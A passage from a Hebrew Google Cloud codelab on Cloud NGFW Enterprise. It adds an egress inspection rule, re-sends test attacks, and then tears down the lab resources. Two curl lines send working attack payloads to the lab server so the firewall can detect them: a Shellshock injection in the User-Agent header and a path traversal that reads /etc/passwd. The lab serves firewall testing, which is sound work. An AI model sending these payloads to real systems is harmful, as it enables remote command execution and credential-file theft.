ממשיכים לבדיקת תעבורת האינטרנט (אופציונלי) או סוגרים את סשן ה-SSH וממשיכים לפרק הבא כדי לבצע את שלבי הניקוי.

[אופציונלי] בדיקת תעבורת האינטרנט

כפי שאומת בקטע הקודם, עד כה נבדקו תעבורות בתוך תת-רשת/VPC (מזרח-מערב) ותעבורת נתונים נכנסת מהאינטרנט (צפון-דרום נכנס). אפשר גם להגדיר את Cloud NGFW Enterprise כך שיבדוק את כל תעבורת האינטרנט (יציאה צפון-דרום) על ידי יצירת כלל חדש של תעבורת נתונים יוצאת באמצעות Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

חוזרים למכונה הווירטואלית של הלקוח ושולחים מחדש התקפות ברמת חומרה גבוהה לכתובת ה-IP החיצונית של השרת:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

הפלט אמור להיראות כך:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

עוברים לכרטיסייה Threats (איומים) במסוף Cloud כדי לאמת את היומנים (יכול להיות שתצטרכו לרענן כמה פעמים). ההתקפות אמורות היו לזהות ולהירשם ביומן שוב, אבל עכשיו כתובת ה-IP של המקור היא פנימית כי תחילה מופעלת כלל תעבורת נתונים יוצאת:

36f8edf264dcddcd.png

סוגרים את סשן ה-SSH וממשיכים לקטע הבא כדי לבצע את השלבים לניקוי.

8. שלבי הניקוי

ניקוי רכיבים ארגוניים של Cloud NGFW

הצגת רשימה של השיוך הקיים של Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations list

מוחקים את השיוך של Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

הצגת רשימה של נקודות קצה קיימות של Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

מוחקים את נקודת הקצה של Cloud NGFW Enterprise. התהליך עשוי להימשך כ-20 דקות:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

מריצים את הפקודה הבאה כדי לוודא ש-Cloud NGFW Enterprise נמחק:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

מוחקים את הקבוצה 'פרופיל האבטחה' ואת הפרופיל 'מניעת איומים':

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

ניקוי ההגדרות הבסיסיות

אם אתם מעדיפים למחוק את המשאבים הבסיסיים, ממשיכים לשלב הבא.

מגדירים את משתני הסביבה לפי הצורך. מ-Cloud Shell, מוחקים את הרכיבים של Network Load Balancer:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

הסרת המכונות:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

אם התפקידים tagAdmin ו-tagUsers השתנו, אפשר לבצע את השלבים הבאים:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

מסירים את המפתח והערכים של התג:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

מוחקים את המדיניות והשיוך של רשת חומת האש ב-Cloud:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

מוחקים את Cloud Router ואת Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

מחיקת כתובות IP שמורות:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

לבסוף, מוחקים את רשת המשנה ואת רשת ה-VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. מעולה!

מזל טוב, השלמת את הקודלה של Cloud NGFW Enterprise לבדיקות מזרחה-מערב ומצפון-דרום.